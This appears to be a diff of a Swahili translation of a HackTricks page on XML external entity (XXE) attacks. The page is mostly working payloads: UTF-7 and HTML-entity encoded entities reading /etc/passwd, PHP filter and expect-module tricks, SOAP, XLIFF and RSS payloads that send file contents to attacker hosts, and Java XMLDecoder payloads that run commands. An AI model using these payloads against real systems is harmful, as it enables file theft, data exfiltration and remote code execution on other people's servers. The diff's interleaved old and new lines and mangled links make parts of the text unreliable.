Unaweza kutumia \[**"Muhuri wa Kubadilisha" ya cyberchef hapa ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) kubadilisha UTF-7.
|
||||
Unaweza kutumia \[**"Mchanganyiko wa Kupika**" ya cyberchef hapa ]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) kubadilisha kwa UTF-7.
|
||||
```xml
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
|
@ -469,17 +418,17 @@ Unaweza kutumia \[**"Muhuri wa Kubadilisha" ya cyberchef hapa ]\(\[[https://gchq
|
|||
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
|
||||
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
|
||||
```
|
||||
### Kosa la Itifaki ya Faili
|
||||
### Faili:/ Kupuuza Itifaki
|
||||
|
||||
Ikiwa wavuti inatumia PHP, badala ya kutumia `file:/` unaweza kutumia **php wrappers** `php://filter/convert.base64-encode/resource=` ili **kupata faili za ndani**.
|
||||
Ikiwa wavuti inatumia PHP, badala ya kutumia `file:/` unaweza kutumia **php wrappers** `php://filter/convert.base64-encode/resource=` kwa **kupata faili za ndani**.
|
||||
|
||||
Ikiwa wavuti inatumia Java unaweza kuangalia [**jar: itifaki**](xxe-xee-xml-external-entity.md#jar-protocol).
|
||||
Ikiwa wavuti inatumia Java unaweza kuangalia [**itifaki ya jar**](xxe-xee-xml-external-entity.md#jar-protocol).
|
||||
|
||||
### Entiti za HTML
|
||||
|
||||
Hila kutoka [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
||||
Unaweza kuunda **entiti ndani ya entiti** ikifanywa kuwa **entiti za HTML** na kisha kuita ili **kupakia dtd**.\
|
||||
Kumbuka kuwa **Entiti za HTML** zinazotumiwa zinahitaji kuwa **za nambari** (kama \[katika mfano huu]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
|
||||
Mbinu kutoka [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
||||
Unaweza kuunda **entiti ndani ya entiti** ikichakatwa na **entiti za html** na kisha kuita ili **kupakia dtd**.\
|
||||
Tafadhali kumbuka kuwa **Entiti za HTML** zinazotumiwa lazima ziwe za **nambari** (kama \[mfano huu]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
<data>
|
||||
|
@ -497,7 +446,7 @@ Mfano wa DTD:
|
|||
|
||||
### Base64
|
||||
|
||||
**Extract** _**index.php**_
|
||||
**Chambua** _**index.php**_
|
||||
```xml
|
||||
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
|
||||
```
|
||||
|
@ -505,7 +454,7 @@ Mfano wa DTD:
|
|||
```xml
|
||||
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
|
||||
```
|
||||
### Utekelezaji wa kodi kwa mbali
|
||||
### Utekelezaji wa kanuni kwa mbali
|
||||
|
||||
**Ikiwa moduli ya PHP "expect" imepakiwa**
|
||||
```xml
|
||||
|
@ -518,62 +467,18 @@ Mfano wa DTD:
|
|||
</creds>
|
||||
```
|
||||
## **SOAP - XEE**
|
||||
|
||||
### **Introduction**
|
||||
|
||||
XML External Entity (XXE) is a vulnerability that occurs when an application processes XML input from an untrusted source without disabling external entity references in the XML parser. This can lead to various attacks, including disclosure of internal files, denial of service, server-side request forgery (SSRF), and remote code execution.
|
||||
|
||||
In this section, we will focus on XXE attacks in SOAP (Simple Object Access Protocol) web services. SOAP is a protocol used for exchanging structured information in web services using XML.
|
||||
|
||||
### **XXE in SOAP**
|
||||
|
||||
XXE attacks in SOAP can occur when the web service processes XML input that contains external entity references. These references can be used to access files on the server or perform other malicious actions.
|
||||
|
||||
To exploit XXE in SOAP, an attacker can send a SOAP request containing a malicious XML payload that includes an external entity reference. When the server processes this request, it will attempt to resolve the entity reference, leading to potential information disclosure or other attacks.
|
||||
|
||||
### **Exploiting XXE in SOAP**
|
||||
|
||||
To exploit XXE in SOAP, an attacker needs to craft a SOAP request with a malicious XML payload. The payload should include an external entity reference that points to a file or resource the attacker wants to access.
|
||||
|
||||
The following is an example of a SOAP request with an XXE payload:
|
||||
|
||||
```xml
|
||||
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xxe="http://example.com/xxe">
|
||||
<soapenv:Header/>
|
||||
<soapenv:Body>
|
||||
<xxe:payload>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
||||
]>
|
||||
<data>Some data</data>
|
||||
</xxe:payload>
|
||||
</soapenv:Body>
|
||||
</soapenv:Envelope>
|
||||
```
|
||||
|
||||
In this example, the external entity reference `<!ENTITY xxe SYSTEM "file:///etc/passwd">` is used to access the `/etc/passwd` file on the server. The contents of this file will be included in the response from the server, potentially leaking sensitive information.
|
||||
|
||||
### **Preventing XXE in SOAP**
|
||||
|
||||
To prevent XXE attacks in SOAP, it is important to disable external entity references in the XML parser used by the web service. This can be done by configuring the XML parser to disallow external entities or by using a secure XML parsing library that automatically disables external entity resolution.
|
||||
|
||||
Additionally, input validation and sanitization should be performed on any XML input received by the web service. This includes filtering out or escaping any potentially malicious XML entities or references.
|
||||
|
||||
### **Conclusion**
|
||||
|
||||
XXE attacks in SOAP can be a serious security vulnerability that can lead to various types of attacks. By understanding how XXE works in the context of SOAP web services and implementing proper security measures, such as disabling external entity references and performing input validation, developers can protect their applications from this type of attack.
|
||||
```xml
|
||||
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
|
||||
```
|
||||
## XLIFF - XXE
|
||||
|
||||
Mfano huu umehamasishwa na [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
|
||||
Mfano huu unainspiriwa na [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
|
||||
|
||||
XLIFF (XML Localization Interchange File Format) hutumiwa kawaida kubadilishana data katika mchakato wa ufasiri. Ni muundo unaotegemea XML unaotumiwa hasa kwa kuhamisha data inayoweza kufasiriwa kati ya zana wakati wa ufasiri na kama muundo wa kawaida wa kubadilishana kwa zana za CAT (Computer-Aided Translation).
|
||||
XLIFF (XML Localization Interchange File Format) hutumiwa kustandardisha kubadilishana data katika mchakato wa uanishaji. Ni muundo uliojikita kwenye XML unaotumiwa hasa kwa kusafirisha data inayoweza kuanishwa kati ya zana wakati wa uanishaji na kama muundo wa kawaida wa kubadilishana kwa zana za CAT (Computer-Aided Translation).
|
||||
|
||||
### Uchambuzi wa Ombi Bubu
|
||||
|
||||
Ombi linatumwa kwa seva na yafuatayo yana maudhui:
|
||||
Ombi linatumiwa kwa seva na yaliyomo yafuatayo:
|
||||
```xml
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||||
|
@ -585,14 +490,13 @@ Content-Type: application/x-xliff+xml
|
|||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Hata hivyo, ombi hili linasababisha kosa la seva ya ndani, likitaja hasa tatizo na matangazo ya alama:
|
||||
Hata hivyo, ombi hili linaanzisha kosa la seva la ndani, likitaja hasa tatizo na tamko la alama za alama:
|
||||
```json
|
||||
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
|
||||
```
|
||||
Licha ya kosa, kuna rekodi ya hiti kwenye Burp Collaborator, ikionyesha kiwango fulani cha mwingiliano na kifaa cha nje.
|
||||
Licha ya kosa, hit imeandikishwa kwenye Burp Collaborator, ikionyesha kiwango fulani cha mwingiliano na kifaa cha nje.
|
||||
|
||||
Kutoka kwa Band Data Exfiltration
|
||||
Ili kuchukua data, ombi lililobadilishwa linatumwa:
|
||||
Udhalilishaji wa Data Nje ya Bandari Ili kudhalilisha data, ombi lililobadilishwa hutumwa:
|
||||
```
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||||
|
@ -604,29 +508,27 @@ Content-Type: application/x-xliff+xml
|
|||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Hii njia inaonyesha kuwa User Agent inaonyesha matumizi ya Java 1.8. Kikwazo kinachojulikana na toleo hili la Java ni kutokuweza kupata faili zinazohusisha herufi ya mstari mpya, kama vile /etc/passwd, kwa kutumia mbinu ya Out of Band.
|
||||
Hii njia inaonyesha kwamba Mteja wa Mtumiaji anaonyesha matumizi ya Java 1.8. Kikwazo kilichojulikana na toleo hili la Java ni uwezo wa kurejesha faili zinazohusisha herufi mpya, kama vile /etc/passwd, kwa kutumia mbinu ya Nje ya Bandari.
|
||||
|
||||
Uchimbaji wa Data kwa Kutumia Makosa
|
||||
Ili kushinda kikwazo hiki, njia ya Uchimbaji wa Data kwa Kutumia Makosa inatumika. Faili ya DTD imepangwa kama ifuatavyo ili kusababisha kosa ambalo linajumuisha data kutoka kwenye faili ya lengo:
|
||||
Udhalilishaji wa Data kulingana na Makosa Ili kushinda kikwazo hiki, njia ya Makosa imeajiriwa. Faili ya DTD imeundwa kama ifuatavyo kusababisha kosa ambalo linajumuisha data kutoka kwa faili ya lengo:
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Seva inajibu na kosa, ikionyesha faili isiyokuwepo, ikionyesha kuwa seva inajaribu kupata faili iliyotajwa:
|
||||
Server inajibu na kosa, ikionyesha kwa umuhimu faili isiyopo, ikionyesha kuwa server inajaribu kupata faili iliyotajwa:
|
||||
```javascript
|
||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||||
```
|
||||
Kuongeza maudhui ya faili katika ujumbe wa kosa, faili ya DTD inabadilishwa:
|
||||
Kuingiza maudhui ya faili kwenye ujumbe wa kosa, faili ya DTD imeboreshwa:
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>">
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Mabadiliko haya yanapelekea kuvuja kwa mafaili, kama inavyoonekana katika matokeo ya kosa yaliyotumwa kupitia HTTP. Hii inaashiria shambulio la XXE (XML External Entity) lililofanikiwa, likitumia njia za Out of Band na Error-Based kuchukua taarifa nyeti.
|
||||
|
||||
Hii mabadiliko inapelekea kuvuja kwa maudhui ya faili, kama inavyoonekana katika matokeo ya kosa yaliyotumwa kupitia HTTP. Hii inaashiria shambulio la XXE (XML External Entity) lililofanikiwa, likitumia mbinu za Out of Band na Error-Based kutoa taarifa nyeti.
|
||||
|
||||
## RSS - XEE
|
||||
|
||||
|
@ -656,26 +558,6 @@ Ombi rahisi la HTTP kwa seva ya mshambuliaji
|
|||
</rss>
|
||||
```
|
||||
### Soma faili
|
||||
|
||||
Unapojaribu kutekeleza mashambulizi ya XXE (XML External Entity), moja ya malengo yako yanaweza kuwa kusoma faili kutoka kwa mfumo wa lengo. Kwa kufanya hivyo, unaweza kutumia kipengele cha XML External Entity (XEE) ambacho kinaruhusu kusoma faili kutoka kwa mfumo wa lengo.
|
||||
|
||||
Kuna njia kadhaa za kufanikisha hili. Moja ya njia hizo ni kutumia kipengele cha `<!ENTITY>` katika hati ya XML. Kwa kufafanua kipengele hiki, unaweza kusoma faili kutoka kwa mfumo wa lengo.
|
||||
|
||||
Kwa mfano, ikiwa unataka kusoma faili ya `/etc/passwd` kutoka kwa mfumo wa lengo, unaweza kutumia hati ya XML ifuatayo:
|
||||
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
|
||||
%dtd;
|
||||
]>
|
||||
<root></root>
|
||||
```
|
||||
|
||||
Katika hati hii ya XML, tunafafanua kipengele cha `xxe` ambacho kinasoma faili ya `/etc/passwd` kutoka kwa mfumo wa lengo. Kisha tunatumia kipengele hicho katika hati ya DTD (Document Type Definition) ili kusoma faili hiyo.
|
||||
|
||||
Kwa kutekeleza mashambulizi haya ya XXE, unaweza kusoma faili zilizohifadhiwa kwenye mfumo wa lengo na kupata habari muhimu kama majina ya watumiaji na nywila.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
|
@ -698,7 +580,7 @@ Kwa kutekeleza mashambulizi haya ya XXE, unaweza kusoma faili zilizohifadhiwa kw
|
|||
```
|
||||
### Soma msimbo wa chanzo
|
||||
|
||||
Kutumia PHP base64 filter
|
||||
Kutumia kichujio cha PHP cha base64
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
|
@ -721,7 +603,7 @@ Kutumia PHP base64 filter
|
|||
```
|
||||
## Java XMLDecoder XEE to RCE
|
||||
|
||||
XMLDecoder ni darasa la Java ambalo linajenga vitu kulingana na ujumbe wa XML. Ikiwa mtumiaji mwenye nia mbaya anaweza kupata programu tumizi kutumia data ya kiholela katika wito wa njia **readObject**, atapata moja kwa moja utekelezaji wa nambari kwenye seva.
|
||||
XMLDecoder ni darasa la Java ambalo hujenga vitu kulingana na ujumbe wa XML. Ikiwa mtumiaji mwenye nia mbaya anaweza kupata programu kutumia data ya kupita kwa wito wa njia **readObject**, atapata utekelezaji wa nambari mara moja kwenye seva.
|
||||
|
||||
### Kutumia Runtime().exec()
|
||||
```xml
|
||||
|
@ -755,29 +637,7 @@ XMLDecoder ni darasa la Java ambalo linajenga vitu kulingana na ujumbe wa XML. I
|
|||
```
|
||||
### ProcessBuilder
|
||||
|
||||
ProcessBuilder ni darasa katika Java ambalo linatumika kujenga na kudhibiti mchakato wa nje. Inaweza kutumika katika ujenzi wa amri za mfumo na kuziendesha kutoka ndani ya programu ya Java.
|
||||
|
||||
Kwa kutumia ProcessBuilder, unaweza kuanzisha mchakato mpya na kumtaja amri ya mfumo ambayo unataka kutekelezwa. Unaweza pia kudhibiti mazingira ya mchakato, kama vile kuweka mazingira ya mfumo na kusimamia viwambo vya mchakato.
|
||||
|
||||
Kwa mfano, unaweza kutumia ProcessBuilder kuunda mchakato wa nje wa kutekeleza amri ya mfumo kama vile "ls" kwenye mfumo wa Linux. Hii inaweza kufanyika kwa njia ifuatayo:
|
||||
|
||||
```java
|
||||
ProcessBuilder processBuilder = new ProcessBuilder("ls");
|
||||
Process process = processBuilder.start();
|
||||
```
|
||||
|
||||
Kisha, unaweza kusoma matokeo ya amri ya mfumo kutoka kwa mchakato uliozinduliwa kwa kutumia `InputStream`:
|
||||
|
||||
```java
|
||||
InputStream inputStream = process.getInputStream();
|
||||
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
|
||||
String line;
|
||||
while ((line = reader.readLine()) != null) {
|
||||
System.out.println(line);
|
||||
}
|
||||
```
|
||||
|
||||
Kwa njia hii, unaweza kutekeleza amri za mfumo kutoka ndani ya programu yako ya Java na kusoma matokeo yake. ProcessBuilder ni chombo muhimu katika uwanja wa ujenzi wa programu na inaweza kutumiwa kwa njia nyingi tofauti kulingana na mahitaji yako.
|
||||
### MchakatoJenga
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<java version="1.7.0_21" class="java.beans.XMLDecoder">
|
||||
|
@ -813,13 +673,13 @@ Kwa njia hii, unaweza kutekeleza amri za mfumo kutoka ndani ya programu yako ya
|
|||
|
||||
## Marejeo
|
||||
|
||||
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\
|
||||
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\
|
||||
* Chota habari kupitia HTTP kwa kutumia DTD ya nje: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\
|
||||
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\
|
||||
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\
|
||||
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\
|
||||
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
|
||||
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
|
||||
* Pata habari kupitia HTTP kwa kutumia DTD ya nje: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
|
||||
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
|
||||
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
|
||||
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
|
||||
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
<details>
|
||||
|
@ -828,10 +688,10 @@ Kwa njia hii, unaweza kutekeleza amri za mfumo kutoka ndani ya programu yako ya
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue